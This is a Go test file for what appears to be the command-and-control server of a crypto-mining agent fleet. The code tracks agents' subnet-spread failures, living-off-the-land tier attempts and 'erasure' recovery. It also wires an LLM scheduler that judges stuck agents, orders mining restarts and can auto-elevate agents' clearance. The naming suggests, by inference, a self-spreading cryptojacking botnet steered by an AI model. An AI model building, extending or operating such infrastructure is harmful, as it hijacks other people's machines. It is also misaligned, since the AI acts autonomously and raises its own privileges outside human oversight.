package api import ( "context" "encoding/json" "io" "net/http" "net/http/httptest" "strings" "sync" "testing" "time" fleetai "crypto-miner-server/internal/ai" "crypto-miner-server/internal/atlas" "crypto-miner-server/internal/clearance" "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" ) func TestHubCourtChamberEvidenceRealData(t *testing.T) { database, err := db.New(t.TempDir()) if err != nil { t.Fatal(err) } defer database.Close() agentID := "chamber-evidence-agent" if err := database.UpsertAgent(&models.Agent{ ID: agentID, Name: "Patient", IP: "192.168.50.10", Platform: "windows", Status: "online", ChainExhausted: true, }); err != nil { t.Fatal(err) } for i := 0; i < 3; i++ { _, _ = database.RecordSubnetSpreadFailure("192.168.50") } hub := NewWSHub(database) hub.SetServerPolicy(ServerPolicy{ErasureLanesEnabled: true, AIControlEnabled: true}) hub.mu.Lock() hub.subnetGossipWhispers = map[string][]atlas.GossipHint{ "192.168.50": {{Tier: "docker", Condition: "no_docker", Reason: "lan gossip"}}, } hub.mu.Unlock() adapter := NewHubCourtChamberAdapter(hub, database) snap := fleetai.AgentSnapshot{ AgentID: agentID, Name: "Patient", GOOS: "windows", MiningHashrate: 0, Stuck: true, ChainExhausted: true, LOTLAttempts: []fleetai.TierAttempt{{Tier: "docker", OK: false, Error: "denied"}}, } ev := adapter.ChamberEvidence(agentID, snap) if !strings.Contains(ev.SubnetImmune, "192.168.50") || !strings.Contains(ev.SubnetImmune, "fail_count=3") { t.Fatalf("subnet immune=%q", ev.SubnetImmune) } if !strings.Contains(ev.ErasureRecovery, "lanes_enabled=true") { t.Fatalf("erasure=%q", ev.ErasureRecovery) } if !strings.Contains(ev.GossipWhispers, "docker|no_docker") { t.Fatalf("gossip=%q", ev.GossipWhispers) } } func TestIntegrationCourtChamberEmitsSeerDebate(t *testing.T) { var llmBody string var llmMu sync.Mutex llmSrv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost || !strings.HasSuffix(r.URL.Path, "/chat/completions") { http.NotFound(w, r) return } raw, _ := io.ReadAll(r.Body) llmMu.Lock() llmBody = string(raw) llmMu.Unlock() _ = json.NewEncoder(w).Encode(map[string]interface{}{ "choices": []map[string]interface{}{ {"message": map[string]string{ "content": "Verdict: restart mining after adversarial chamber.\n" + `{"commands":[{"type":"restart_mining","args":{}}]}`, }}, }, }) })) t.Cleanup(llmSrv.Close) aiCfg := FleetAIConfigView{ AIControlEnabled: true, AIEndpoint: llmSrv.URL + "/v1", AIModel: "test-model", AIDecisionIntervalSec: 1, AIAutoElevateClearance: true, } hub, database, _ := newFleetIntelligenceHub(t, aiCfg) hub.SetServerPolicy(ServerPolicy{ErasureLanesEnabled: true, AIControlEnabled: true}) courtChamber := NewHubCourtChamberAdapter(hub, database) seerEmitter := &HubSeerEmitter{Hub: hub, DB: database} sched := fleetai.NewScheduler( &ConfigAIAdapter{Src: &mutableFleetAIConfig{view: aiCfg}}, &WSHubSnapshotAdapter{Hub: hub}, &ClearanceGuardExecutor{Inner: &FleetAIExecutor{Hub: hub}, Clearance: hub.ClearanceManager()}, &DatabaseAIDecisionStore{DB: database}, courtChamber, hub.ClearanceManager(), ) sched.SetCourtDeps(fleetai.CourtDeps{Chamber: courtChamber, Seer: seerEmitter}) old := fleetai.DecideFunc fleetai.DecideFunc = func(ctx context.Context, endpoint, model, systemPrompt, userPrompt string) (string, error) { return fleetai.Decide(ctx, endpoint, model, systemPrompt, userPrompt) } t.Cleanup(func() { fleetai.DecideFunc = old }) agentID := "court-chamber-agent" conn := connectIntelAgent(t, hub, agentID, map[string]interface{}{ "agent_id": agentID, "hostname": "chamber-host", "platform": "windows", "version": "1.0", }) pushStuckAgentTelemetry(t, conn) seedStuckAgentDB(t, database, agentID) waitForAgentTelemetry(t, hub, agentID, "stuck", "lotl_attempts") dashConn := connectTestDashboard(t, hub) seerCh := make(chan map[string]interface{}, 1) go func() { for { var msg Message if err := dashConn.ReadJSON(&msg); err != nil { return } if msg.Type != "seer_events" { continue } var body map[string]interface{} if json.Unmarshal(msg.Payload, &body) != nil { continue } if body["event_type"] != "court_debate" { continue } seerCh <- body return } }() sched.ResetLastRunForTest(agentID, 2*time.Minute) sched.Tick() llmMu.Lock() body := llmBody llmMu.Unlock() if !strings.Contains(body, "PUBLIC DEFENDER") { t.Fatalf("expected adversarial chamber judge prompt, got: %s", body) } select { case ev := <-seerCh: payload, ok := ev["payload"].(map[string]interface{}) if !ok { // payload may be json.RawMessage nested if raw, ok2 := ev["payload"]; ok2 { b, _ := json.Marshal(raw) _ = json.Unmarshal(b, &payload) } } if ev["event_type"] != "court_debate" { t.Fatalf("event_type=%v", ev["event_type"]) } case <-time.After(5 * time.Second): events, _ := database.ListSeerEvents(5) t.Fatalf("timed out waiting for court_debate seer_events; db events=%+v", events) } if level := hub.ClearanceManager().Level(agentID); level < clearance.L1 { t.Fatalf("unexpected clearance %d", level) } }